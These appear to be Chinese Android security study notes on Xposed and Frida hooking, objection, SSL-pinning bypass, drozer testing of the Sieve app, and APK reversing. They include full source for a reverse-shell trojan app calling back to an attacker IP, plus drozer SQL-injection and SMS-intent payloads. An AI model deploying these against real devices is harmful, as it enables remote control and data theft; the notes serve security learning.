    • 若包名一致就执行beforeHookedMethod中的自定义代码
    • beforeHookedMethod方法中,将i的值设置为1,当点击按钮时候,由于i的值是1,就会弹出Cracked的消息

更改编译配置文件

将编译配置文件改为没有Activity也可以运行,不然会报错Error running app: Default Activity not found

测试运行

编译、安装到手机上,重启后xposed加载模块:

运行目标APP,点击按钮,hook成功。成功将消息劫持为Cracked

Frida

Frida是一款基于Python + JavaScript 的hook框架,本质是一种动态插桩技术,可以插入一些代码到原生app的内存空间去(动态地监视和修改其行为)。

其使用了C-S模型,利用Frida内核和谷歌V8引擎hook进程。可以用于Android、Windows、iOS等各大平台,其执行脚本基于Python或者Node.js写成,而注入代码用JavaScript写成。Frida的API支持多语言,如Python、JS。

Frida不像Xposed需要集中编写代码,能在编码量最小的情况下解决问题。

FRIDA的几个特点:

  • 使用JS脚本注入,支持包括桌面和移动多平台
  • 注入内存,在运行时覆盖函数进行插桩
  • 针对安卓,同时支持Native层和Java层
  • 可以用于快速测试,所见立刻有所得
  • 可以基于所得动态修改hook脚本,持续交互

以上几个特点应用到工作生产中,可以有以下几个典型应用场景:

  • 快速注入测试,动态调试从未如此轻松
  • 敏捷原型开发
  • CTF
  • fuzzing,没有做不到只有想不到
  • 基于API的二次开发
  • 可以提供多种外部工具通过插件调用API进入App内部的能力,例如brida,或者r2frida
    • BurpSuite + Frida = Brida
    • Radare2 + Frida = r2Frida
    • Cycript + Frida = frida-cycript
    • house

学习资源主要可见https://github.com/dweinstein/awesome-frida ,一些学习资源:

  • 用Frida来fuzz safari(CVE-2018-4193): https://blog.ret2.io/2018/07/25/pwn2own-2018-safari-sandbox/
  • Frida爆破Windows程序中的应用: https://www.freebuf.com/articles/system/182112.html
  • CVE-2017-4901 VMware虚拟机逃逸漏洞分析【Frida Windows实例】:https://bbs.pediy.com/thread-248384.htm
  • 脱壳:https://github.com/dstmath/frida-unpack
  • 跟踪函数调用:https://github.com/sangohan/frida-tracer
  • Hook
    • https://github.com/antojoseph/frida-android-hooks
    • https://github.com/0xdea/frida-scripts

Hook Java方法

载入类

Java.use方法用于声明一个Java类,在用一个Java类之前首先得声明。比如声明一个String类,要指定完整的类名:

var StringClass=Java.use("java.lang.String");

修改函数的实现

修改一个函数的实现是逆向调试中相当有用的。修改一个函数的实现后,如果这个函数被调用,我们的Javascript代码里的函数实现也会被调用。

函数参数类型表示

1.对于基本类型,直接用它在Java中的表示方法就可以,不用改变,例如:intshortcharbytebooleanfloatdoublelong 2.基本类型数组,用左中括号接上基本类型缩写表示表:

基本类型 缩写
boolean Z
byte B
char C
double D
float F
int I
long J
short S

例如:int[]类型,在重载时要写成[I

3.任意类,直接写完整类名即可。例如:java.lang.String

4.对象数组,用左中括号接上完整类名再接上分号。例如:[java.lang.String;

带参数的构造函数

修改参数为byte[]类型的构造函数的实现

ClassName.$init.overload('[B').implementation=function(param){
    //do something
}

注:ClassName是使用Java.use定义的类;param是可以在函数体中访问的参数

修改多参数的构造函数的实现

ClassName.$init.overload('[B','int','int').implementation=function(param1,param2,param3){
    //do something
}
无参数构造函数
ClassName.$init.overload().implementation=function(){
    //do something
}

调用原构造函数:

ClassName.$init.overload().implementation=function(){
    //do something
    this.$init();
    //do something
}

注意:当构造函数(函数)有多种重载形式,比如一个类中有两个形式的func:void func()void func(int),要加上overload来对函数进行重载,否则可以省略overload

一般函数

修改函数名为func,参数为byte[]类型的函数的实现

ClassName.func.overload('[B').implementation=function(param){
    //do something
    //return ...
}
无参数的函数
ClassName.func.overload().implementation=function(){
    //do something
}

注: 在修改函数实现时,如果原函数有返回值,那么我们在实现时也要返回合适的值

ClassName.func.overload().implementation=function(){
    //do something
    return this.func();
}

调用函数

和Java一样,创建类实例就是调用构造函数,而在这里用$new表示一个构造函数。

var ClassName=Java.use("com.luoye.test.ClassName");
var instance = ClassName.$new();

实例化以后调用其他函数:

var ClassName=Java.use("com.luoye.test.ClassName");
var instance = ClassName.$new();
instance.func();

类型转换

Java.cast方法来对一个对象进行类型转换,如将variable转换成java.lang.String

var StringClass=Java.use("java.lang.String");
var NewTypeClass=Java.cast(variable,StringClass);

Java.available字段

这个字段标记Java虚拟机(例如: Dalvik 或者 ART)是否已加载, 操作Java任何东西之前,要确认这个值是否为true

Java.perform方法

Java.perform(fn)在Javascript代码成功被附加到目标进程时调用,我们核心的代码要在里面写。格式:

Java.perform(function(){
//do something...
});

动态Hook例子

安装frida:

pip install frida-tools
pip install frida

如果将一个脚本注入到Android目标进程

frida -U -l myhook.js com.xxx.xxxx

参数解释:

  • -U 指定对USB设备操作
  • -l 指定加载一个Javascript脚本
  • 最后指定一个进程名,如果想指定进程pid,用-p选项。正在运行的进程可以用frida-ps -U命令查看

frida运行过程中,执行%resume重新注入,执行%reload来重新加载脚本;执行exit结束脚本注入

https://github.com/frida/frida/releases 下载对应手机版本的frida服务器二进制文件,并使用adb上传到手机的/data/local/tmp目录上:

//解压frida服务器压缩文件
unxz frida-server.xz

//上传frida-server文件到手机上
$ adb push frida-server /data/local/tmp/

打开adb shell,并进入root权限。赋予frida server执行权限,并在后台运行该二进制文件:

$ adb shell

$ su

# chmod 755 /data/local/tmp/frida-server

# ./frida-server &

使用adb转发端口:

adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043

查看远程手机的运行进程:

frida-ps -R

追踪USB设备上的chrome浏览器的open()调用情况:

frida-trace -U -i open com.android.chrome

分析代码

该程序的包名为com.androidpentesting.hackingandroidvulnapp1,入口的Activity为com.androidpentesting.hackingandroidvulnapp1.MainActivity:

package com.androidpentesting.hackingandroidvulnapp1;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;


public class MainActivity extends Activity {

    Button btn;
    TextView tv;
    int i=0;
    boolean success;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        btn = (Button) findViewById(R.id.btnSubmit);
        tv = (TextView) findViewById(R.id.tvOutput);

        btn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.i("VALUE","Value is "+i);
                success = setOutput(i);
                if(success){
                    Toast.makeText(getApplicationContext(),"Cracked",Toast.LENGTH_LONG).show();
                    Log.i("VALUE","Value in if is"+i);
                }
                else{
                    Toast.makeText(getApplicationContext(),"Cant crack it",Toast.LENGTH_LONG).show();
                    Log.i("VALUE","Value in if is"+i);
                }
            }
        });
    }

    boolean setOutput(int i){

        if(i==1)
        {
            return true;
        }
        else
        {

            return false;
        }
    }}

上述的代码包含一个setOutput方法,只返回true或者false,当调用setOutput时,i的值被初始化为0,并传递这个方法。如果i的值被设为1,应用会提示Cracked。初始化值为0,应用会提示Cant crack it

使用Frida动态hook

使用Frida修改setOutput,使其忽略变量i的值,永远返回true:

  • 使用附加的API将Frida客户端绑定应用进程
  • 找出需要修改的目标方法所在类
  • 找出需要hook的API或方法
  • 创建JS脚本,调用create_script将脚本推送到进程
  • 使用script.load方法将JS代码推送到进程
  • 触发代码,并查看结果

hook的脚本如下:

import frida
import sys

def on_message(message, data):
    print message

//找出目标类为MainActivity
//使用implementation函数来改变调用,实现setOutput始终返回true
//通过send方法从手机上的进程发送消息到计算机的客户端
code = """
Java.perform(function (){
    var Activity = Java.use("com.androidpentesting.hackingandroidvulnapp1.MainActivity");
    Activity.setOutput.implementation = function(){
        send("setOutput() go called!Let' return always true");
        return true;
    };
});
"""

//连接进程
session = frida.get_remote_device().attach("com.androidpentesting.hackingandroidvulnapp1")
script = session.create_script(code)
script.on('message', on_message)
print "Executing the JS code"

script.load()
sys.stdin.read()

测试成功

运行脚本,手机打开测试程序,点击Crack ME,hook脚本打印{u'type': u'send', u'payload': u"setOutput() go called!Let' return always true"}

手机上的目标程序显示Cracked:

hook参数&修改结果

参见https://11x256.github.io/Frida-hooking-android-part-1

大致步骤:

  1. 启动frida服务器
  2. 安装目标APK
  3. 运行APK并将frida附加到APP
  4. Hook twosum()函数
  5. 根据需要修改参数

示例:

package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        while(true) {
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }

            twosum(50, 30);
        }
    }
    void twosum(int x, int y){
        Log.d("Sum is:", String.valueOf(x+y));
    }
}

代码效果为将50 + 30 的和 以调试信息的方式在控制台每秒打印出来:

使用python脚本注入js代码到进程中:

import frida
import time

#获取一个连接中的USB设备(Device类)实例
device = frida.get_usb_device()
#重启com.example.myapplication进程,并返回新的进程pid
pid = device.spawn(["com.example.myapplication"])
# resume()函数恢复新的进程运行
device.resume(pid)
#进程挂起1s
time.sleep(1)
#attach()方法来附加到目标进程并得到一个会话(session类)实例
session = device.attach(pid)
#调用session类的create_script()方法创建一个脚本,传入需要注入的javascript代码并得到Script类实例
script = session.create_script(open("hook.js").read())
#调用script类的load()方法来加载刚才创建的脚本
script.load()

#防止python脚本终止
input()

根据目标需求修改参数,编写JS代码:

console.log("Script loaded successfully");
Java.perform(function x(){
    console.log("Inside Java perform function");
    //定位类
    var my_class = Java.use("com.example.myapplication.MainActivity");
    //用自定义函数替换原来的函数twosum
    my_class.twosum.implementation = function(x, y){
        //打印原始参数
        console.log("original call: twosum("+ x + ", "+ y +")");
        //把参数替换成2和5,依旧调用原函数
        var ret_value = this.twosum(2, 5);
        return ret_value;
    }
});

如果需要Hook的代码在App的启动期执行,那么在调用attach方法前需要先调用Device类的spawn()方法,这个方法也有一个参数,参数是进程名,该方法调用后会重启对应的进程,并返回新的进程pid。得到新的进程pid后,可以将这个进程pid传递给attach()方法来实现附加。

保证selinux是关闭的状态,可以在adb shell里,su -获得root权限之后,输入setenforce 0命令来获得,在Settings→About Phone→SELinux status里看到Permissive,说明selinux关闭成功

如果想给客户端发送消息,可以在js代码里调用send()方法,并在客户端Python代码里注册一个消息回调来接收服务端发来的消息

JS代码直接写在Python中调用,可写成:

import frida
import sys

def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)

pass

jscode = """
console.log("Script loaded successfully");
Java.perform(function x(){
    console.log("Inside Java perform function!");
    //定位类
    var my_class = Java.use("com.example.myapplication.MainActivity");
    //用implementation函数替换原来的函数twosum
    my_class.twosum.implementation = function(x, y){
        //打印原始参数
        console.log("original call: twosum("+ x + ", "+ y +")");
        send("original call be called!");
        //把参数替换成1和5,依旧调用原函数
        var ret_value = this.twosum(1, 5);
        return ret_value;
    }
});
"""

# 查找USB设备并附加到目标进程
session = frida.get_usb_device().attach("com.example.myapplication") 
# 在目标进程里创建脚本
script = session.create_script(jscode)
# 注册消息回调
script.on('message', on_message)
print('Executing the JS code....')
print('\r\n=============================== \r\n')
# 加载创建好的javascript脚本
script.load()
# 读取系统输入
sys.stdin.read()

objection

Objection是一款移动设备运行时浏览工具,该工具由Frida驱动,可在未越狱或root的情况下对移动端应用程序的安全进行评估检查。

objection可实现诸如内存搜索,类和模块搜索,方法hook打印参数、返回值、调用栈等常用功能。

基本用法

//列出包名
frida-ps -Ua

//注入应用
objection -g com.sina.weibo explore -q

//应用环境信息命令
env

//列出frida信息
frida

//下载文件
file download <remote path> [<local path>]
/上传文件
file upload <local path> [<remote path>]

//导入frida脚本
import <local path frida-script>

//关闭证书固定
android sslpinning disable

//关闭Android设备上的root检测
android root disable

//尝试模拟root环境
android root simutale

//执行Android系统命令
android shell_exec whoami2020-03-17 14:04:22 星期二

//查看内存中加载的库
memory list modules

//查看库的导出函数
memory list exports libssl.so

//列出activity
android hooking list activities

//列出services
android hooking list services

//列出receivers
android hooking list receivers

//获取当前activity
android hooking get current_activity

//列出xxx应用的类
android hooking search classes com.sina.weibo

//列出方法
android hooking search methods com.sina.weibo MainActivity 

//列出已知类的声明方法和参数
android hooking list class_methods com.sina.weibo.MainTabActivity

//列出所有已加载的类
android hooking list classes

//将libart.so的导出函数保存为json文件
memory list exports libart.so --json /home/b404/libart.json

//提取整个内存
memory dump all from_base

//内存中搜索所有方法
android hooking search methods display

//搜索整个内存
memory search --string --offsets-only

Hook

Hook方法

从源代码的应用程序,我们知道,函数SUM()从MainActivity正在运行的每一秒。让我们尝试在每次调用该函数时转储所有可能的信息(参数,返回值和回溯):

源码可知MainActivity每秒执行sum()函数一次。当调用函数时,转储该函数的所有信息,如参数、返回值、回溯信息:

android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return

Hook整个类

MainActivity的所有方法很有意思,Hook所有类。可观察到每个函数的调用时间、参数、返回值:

//可能会造成程序崩溃
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return

生成Hook代码

生成Hook的大概代码,根据实际还需要添加内容:

//在内存中所有已加载的类中搜索包含特定关键词的类
android hooking search classes display

//内存中搜索所有的方法
android hooking search methods display 

//列出指定类的所有方法
android hooking list class_methods com.android.settings.DisplaySettings

//自动生成Hook代码
android hooking generate  simple  com.android.settings.DisplaySettings

抓包

APP的抓包分为:

  • 应用层:Http(s)协议抓包。如可使用BurpSuit、Charles;不建议使用fiddler,因其无法导入客户端证书(p12、Client SSL Certificates)
  • 会话层:Socket端口通信抓包。可使用tcpdumpWireShark结合的方式。

抓包方式:

  1. 在手机上设置代理时,推荐使用VPN将流量导出到抓包软件上,可以同时抓到Http(s)Socket的包,且不管其来自Java层还是so层。而不是通过给WIFI设置HTTP代理的方式。
  2. 当应用使用System.getProperty("http.proxyHos")System.getProperty("http.proxyPort")这两个API来查看当前系统是否挂了VPN,这时候可以用FridaXposedhook这个接口、修改其返回值,或者重打包来nop
  3. 制作路由器,抓所有过网卡的包。

抓包失败

一般能抓到包的几种情况:

  • Android内置浏览器
  • 应用内置WebView
  • 应用使用URLConnection或OkHttp发起HTTP请求

抓包不到的话,可能是:

  • APP自带HTTP Client
  • SSL/TLS Pinning
  • Android 7之后

此处可看:

证书锁定

证书锁定技术:APP应用通信仅接收指定域名的证书,然后获取该域名的SSL证书,将其添加到应用中,应用就不需要以来设备的受信任证书存储区,它会自行检查并验证所连接的服务器的证书是否已经添加到应用中。

证书锁定(SSL/TLS Pinning)提供了两种锁定方式: Certificate Pinning 和 Public Key Pinning

证书锁定本质是对抗中间人攻击.并非用于对抗破解抓包的。但如果程序逻辑未被注入运行在”可信环境”中倒是有些作用。

证书锁定和中间人攻击

APP有证书固定,难以进行中间人攻击?若是能攻击,有多大的难度?启用了证书固定的APP,就无需做安全检测吗?攻击无从下手?

一. APP做了证书固定,当用户被欺骗在移动设备上安装恶意自签名证书,这时候证书固定就会起很大的防护作用。绕过证书固定实现攻击有一定的难度系数,针对root过或越狱过的设备修改证书固定,一般需要成本较高的物理访问目标设备或者是极具危害性的0day。但是证书固定这不是绝对的安全,也可以实现中间人攻击:

  1. 可以通过窃取证书(如盗取密钥实现攻击)
  2. 厂商实现的认证逻辑有问题,可以绕过
  3. 恶意签发站点签发的证书
  4. 漏洞。如2.7.4之前的OkHttp版本和3.1.2之前的版本3.x由于没有清理服务器的证书链而容易受到中间人攻击

从APP的HTTP通信安全而言,可以通过以下几点增加安全系数:

  1. 证书固定
  2. 将通信数据正文二次非对称加密后通过HTTPS传输
  3. 自带HTTP client,关键数据不走UrlConnection和Okhttp,而是走一个基于so的http client
  4. 加固,做高级反调试和反Hook

二. 启用了证书固定,还是需要大量安全检测。一个可通信app的安全,光是从通信过程防御攻击是很有局限性的,app的逆向调试、app的组件安全、本地不安全的数据存储等安全问题也很多。如一般Web攻击的SQL注入在于从前端对后端数据库的,而app可实现内容提供程序SQL注入,从手机的本地数据库就可以注入出数据。

绕过证书锁定

常见的一些绕过证书锁定的手段:

Fiddler

管理员权限打开Fiddler,在Fiddler中点击 [Tools] —> [Options] —> [HTTPS]勾选HTTPS:

[Connections] 选项卡中勾选 [Allow remote computers to connect],开启远程访问功能:

设置手机代理:

手机浏览器访问http://ipv4.fiddler:8888,下载证书安装到手机上:

Android7之后,需要将证书导出,然后可在命令行转换证书、安装证书到系统目录中:

curl --proxy http://127.0.0.1:8080 -o cacert.der http://burp/cert  \
&& openssl x509 -inform DER -in cacert.der -out cacert.pem \
&& cp cacert.der $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 \
&& adb root \
&& adb remount \
&& adb push $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /sdcard/ \
&& echo -n "mv /sdcard/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /system/etc/security/cacerts/" | adb shell \
&& echo -n "chmod 644 /system/etc/security/cacerts/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0" | adb shell \
&& echo -n "reboot" | adb shell \
&& rm $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 \
&& rm cacert.pem \
&& rm cacert.der

设置burp监听端口号,并选择All interfaces

Charles

导出pem格式的证书:

将pem格式的证书做重命名,放到系统证书目录:

//计算subject_hash_old
openssl x509 -inform PEM -subject_hash_old -in charles.pem |head -1

//更改文件名
mv charles.pem 0c6929ba.0

//将system设置为可读写
mount -o rw,remount /system

//将证书移到/system/etc/security/cacerts/目录
mv 0c6929ba.0 /system/etc/security/cacerts/

//更改证书文件权限
chmod 644 /system/etc/security/cacerts/0c6929ba.0

//重启手机
reboot

查看系统证书,安装成功:

成功抓包:

Android模拟器抓包

工具:Proxifier + burp + Android模拟器

将proxifier的代理服务器设置为127.0.0.1:8080(burp的代理服务器):

测试设置代理服务器后的连通性:

使用Process Explorer找到模拟器的NoxVMHandle.exe进程:

NoxVMHandle.exe程序加入到代理规则中:

此时抓取数据包成功(需要安装Burp的证书):

genymotion模拟器也可以用此方法抓,不过其的网络进程走的是VirtualBox的

安卓恶意软件

简单的反向shell马

功能:当用户启动它时,Android手机反弹一个shell到监听机器上。

创建SmartSpy新应用:

res/layout/activity_main.xml中实现布局:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight = "@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:paddingBottom="@dimen/activity_vertical_margin"
    tools:context=".MainActivity">

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="ReverseShell b404.xyz"/>

</RelativeLayout>

MainActivity.java中声明一个PrintWriter类的对象和一个BufferedReader类的对象。在MainActivity类的onCreate方法中调用getReverseShell()方法:

public class MainActivity extends AppCompatActivity {
    PrintWriter out;
    BufferedReader in;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        getReverseShell();
    }

接下来继续在MainActivity.java编写getReverseShell(),其代码功能主要为:

  • 声明攻击者监听连接的服务器的IP和端口号
  • 接收攻击者发来的指令
  • 执行攻击者发送的指令
  • 将执行结果返回给攻击者
package com.androidpentesting.smartspy;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.security.Principal;

public class MainActivity extends AppCompatActivity {
    //out对象用于将指令的输出结果发送给攻击者
    PrintWriter out;
    //in对象用于接收攻击者的指令
    BufferedReader in;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        getReverseShell();
    }
    private void getReverseShell() {

        //创建一个线程,避免应用在主线程执行网络任务时,可能出现的应用崩溃

        Thread thread = new Thread() {

            @Override
            public void run() {

                //声明攻击者服务器的IP和端口号

                String SERVERIP = "192.168.1.18";

                int PORT = 1337;

                try {

                    InetAddress HOST = InetAddress.getByName(SERVERIP);

                    Socket socket = new Socket(HOST, PORT);

                    Log.d("TCP CONNECTION", String.format("Connecting to %s:%d (TCP)", HOST, PORT));


                    //不需要下一行连接

                    // socket.connect( new InetSocketAddress( HOST, PORT ), 3000 );

                    while (true) {

                        //将命令输出结果返回攻击者

                        out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);



                        //从攻击者处获取指令
                        in = new BufferedReader(new InputStreamReader(socket.getInputStream()));

                        //使用InputStreamReader 对象读取字符串输入
                        //即读取的是攻击者的shell指令

                        String command = in.readLine();

                        //使用exec方法实现命令执行

                        Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", command});

                        //输出当作输入,并存放在字符串缓冲区
                        //执行指令后的输出会被存放在output变量中

                        BufferedReader reader = new BufferedReader(

                                new InputStreamReader(process.getInputStream()));
                        int read;
                        char[] buffer = new char[4096];
                        StringBuffer output = new StringBuffer();
                        while ((read = reader.read(buffer)) > 0) {
                            output.append(buffer, 0, read);
                        }
                        reader.close();

                        //将output变量转换为字符串

                        String commandoutput = output.toString();


                        // 等待指令完成

                        process.waitFor();

                        // 如果commandout不为空,使用sendOutput方法将输出内容发送给攻击者

                        if (commandoutput != null) {

                            //调用sendOutput方法

                            sendOutput(commandoutput);

                        }
                        out = null;

                    }


                } catch (Exception e) {
                    e.printStackTrace();
                }

            }
        };
        thread.start();

    }


    //向攻击者的shell写入输出数据

    private void sendOutput(String commandoutput) {

        if (out != null && !out.checkError()) {
            out.println(commandoutput);
            out.flush();
        }

    }

}

由于涉及网路连接,因此在AndroidManifest.xml中添加INTERNET权限:

<uses-permission android:name="android.permission.INTERNET"></uses-permission>

在kali上监听1337端口:

安装apk,运行:

kali返回一个shell,执行命令成功:

工具

adb

ADB 是Android Debugging Bridge简称,采用C/S模型,包括三个部分:

  • ADB Client(客户端部分),运行在开发用的计算机上,可以在命令行中运行adb命令来调用该客户端
  • ADB Server(服务端部分),是运行在开发用计算机上的后台进程,用于管理客户端与运行在模拟器或者真机的守护进程通信。
  • ADB Daemon(守护进程部分),运行于模拟器或手机的后台

ADB客户端都使用5037端口于adb服务端通信。

启动shell

列出设备:

adb devices

启动shell:

adb shell

当真机和模拟器同时连接时,打开模拟器的shell:

adb -e shell

当真机和模拟器同时连接时,打开真机的shell:

adb -d shell

当多个设备或模拟器连接时,打开指定目标的shell:

adb -s [设备名称]

查看ADB守护进程

通过对进程列表搜索ADB守护进程:

busybox pgrep -l adbd 

列出软件包

当使用adb连接到设备shell的时候,可以使用包管理器pm进行软件包管理。如列出已安装的软件包:

pm list packages

推送文件到设备

adb push [本地计算机文件路径] [设备上的路径]

从设备拉取文件

adb pull [设备上的文件]

通过adb安装应用

adb install test.apk

重启设备上的adb daemon

adb kill-server

备份应用数据

备份还原应用数据:

//备份整部安卓手机,在执行命令的当前文件路径生成`backup.ab`文件
adb backup -all -shared -apk

//备份某一应用
adb backup -f <文件名><包名>

//恢复数据
adb restore backup.ab

使用android backup extractor对备份的文件做文件转换,转换成tar压缩包:

java -jar abe-all.jar unpack backup.ab backup.tar 1234

在没有root权限的情况下,也可以使用该方法对设备上的应用做分析

Drozer使用

drozer连接方法一

0x01 安装agent APK。从 https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk 下载安装APK:

**0x02 **设置端口转发:

adb forward tcp:31415 tcp:31415

0x03 打开仿真器上的服务开关:

0x04 连接设备:

drozer console connect

如果不打开服务开关:就会报错[Errno 104] Connection reset by peer

drozer连接方法二

如果使用真实设备,则必须指定设备的IP地址才能连接:

在Linux上:

$ drozer console connect --server 192.168.0.10

在Windows上:

> drozer.bat console connect --server 192.168.0.10

drozer命令

命令 描述
run 执行驱动模块
list 显示可在当前会话中执行的所有drozer模块的列表。这将隐藏您没有适当权限运行的模块。
shell 在代理进程的上下文中,在设备上启动交互式Linux Shell。
cd 挂载特定的名称空间作为会话的根目录,以避免重复输入模块的全名。
clean 删除drozer在Android设备上存储的临时文件。
contributors 显示为系统中使用的drozer框架和模块做出贡献的人员列表。
echo 将文本打印到控制台。
exit 终止驱动程序会话。
help 显示有关特定命令或模块的帮助。
load 加载包含drozer命令的文件,并依次执行它们。
module 从Internet查找并安装其他drozer模块。
permissions 显示授予drozer代理的权限列表。
set 将值存储在变量中,该变量将作为环境变量传递给drozer生成的任何Linux shell。
unset 删除drozer传递给它产生的任何Linux shell的命名变量。

下载 https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk 安装,将密码设置为1234567812345678,PIN码设置为1234

随便添加一个账户信息,密码为test

其中设置中的功能如下:

Package

1.关键字查找包名

//查看安装的全部软件包
dz> run app.package.list

命令     run app.pakcage.list -f <keyword>
示例     run app.package.list -f sieve

2.获取应用基本信息

命令     run app.package.info -a <package name>
示例     run app.package.info -a com.mwr.example.sieve

3.确定攻击面

命令     run app.package.attacksurface <package name>
示例     run app.package.attacksurface com.mwr.example.sieve

  1. 转储AndroidManifest.xml文件
命令 run app.package.manifest [包名]
示例 run app.package.manifest com.mwr.example.sieve

Activity

1.获取Activity信息

命令     run app.activity.info -a <package name>
示例     run app.activity.info -a com.mwr.example.sieve

2.启动Activity

命令     run app.activity.start --component <package name> <component name>
示例     run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Content Provider

1.获取Content Provider信息

命令     run app.provider.info -a <package name>
示例     run app.provider.info -a com.mwr.example.sieve

2.获取所有可访问的Uri

命令     run scanner.provider.finduris -a <package name>
示例     run scanner.provider.finduris -a com.mwr.example.sieve

3.SQL注入

命令     run app.provider.query <uri> [--projection] [--selection]

示例     run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

列出所有表     run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" 

获取单表(如Key)的数据     run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

4.检测SQL注入

命令     run scanner.provider.injection -a <package name>
示例     run scanner.provider.injection -a com.mwr.example.sieve

5.检测目录遍历

命令     run scanner.provider.traversal -a <package name>
示例     run scanner.provider.traversal -a com.mwr.example.sieve

6.读取文件系统下的文件

示例     run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

7.下载数据库文件到本地

示例   run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db .

intent组件触发(拒绝服务、权限提升)

利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

1.查看暴露的广播组件信息

run app.broadcast.info -a com.package.name  获取broadcast receivers信息

run app.broadcast.send --component 包名 --action android.intent.action.XXX

2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

run app.broadcast.send 通过intent发送broadcast receiver

(1) 空action:

run app.broadcast.send --component 包名 ReceiverName

(2) 空extras:

run app.broadcast.send --action android.intent.action.XXX

3.尝试权限提升。权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

(1)获取service详情:

run app.service.info -a com.mwr.example.sieve

不使用drozer启动service:

am startservice –n 包名/service名

(2)权限提升:

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

使用qark分析apk

安装qark:

pip install --user qark

使用qark分析apk:

qark --apk sieve.apk

APK测试样例

参见 https://pentester.land/cheatsheets/2018/10/12/list-of-Intentionally-vulnerable-android-apps.htmlhttps://github.com/tanprathan/MobileApp-Pentest-Cheatsheet

练习

CrackMe

编写代码

编写CrackMe代码:

更改生成的apk版本信息,生成release版本:

Android Studio 3.5版本无Instant Run:

签名APK

Build->Generate Signed Bundle/APK

eclipse的签名文件是以.ketstore为后缀的文件;Android Studio是以.jks为后缀的文件

新建一个用于程序签名的Key Store:

对release版本的apk做签名:

测试APK

模拟器上调试运行,这时安装在手机上的程序不会正常执行注册,报错无效用户名或注册码

反编译APK

使用apktool反编译app-release.apk,并将反编译的文件放于outdir文件下:

java -jar apktool_2.4.1.jar d -f app-release.apk -o outdir

分析APK

smali目录存放程序的反汇编代码,res目录存放该APK的所有资源文件。且这些目录的子目录和文件的组织结构与开发时源码目录的组织结构一致。

可以根据错误提示信息作为分析突破口,通常错误提示代码附近通常是程序的核心验证代码,可通过这些代码理解软件的注册流程。错误提示属于Android程序中的字符串资源,可能是以硬编码存在,也可能是引用的res\values目录下的strings.xml文件。APK文件在打包时,strings.xml中的字符串被加密存储为resources.arsc文件并保存在APK程序中,若APK文件被成功反编译,这个文件就被解密。

查看res\values中的strings.xml文件,文件中除了abc_开头的字符串都是该程序使用的字符串:

在开发Android程序时,string.xml文件中的所有字符串资源都在gen/R.java文件的String类中标识,每个字符串都有唯一的int类型的索引值。使用apktool反编译apk,所有的索引值都保存在res\values中的public.xml。而无效用户名或注册码的字符串为unsuccessed

查看public.xmlunsuccessed的id值为0x7f0c0028

在outdir目录中搜索0x7f0c0028,找到相关文件为\outdir\smali\com\example\test\MainActivity$1.smali\outdir\smali\com\example\test\R$string.smali\outdir\res\values\public.xml

上述查找调用文件,可以直接在Ubuntu中用grep命令快速找出:

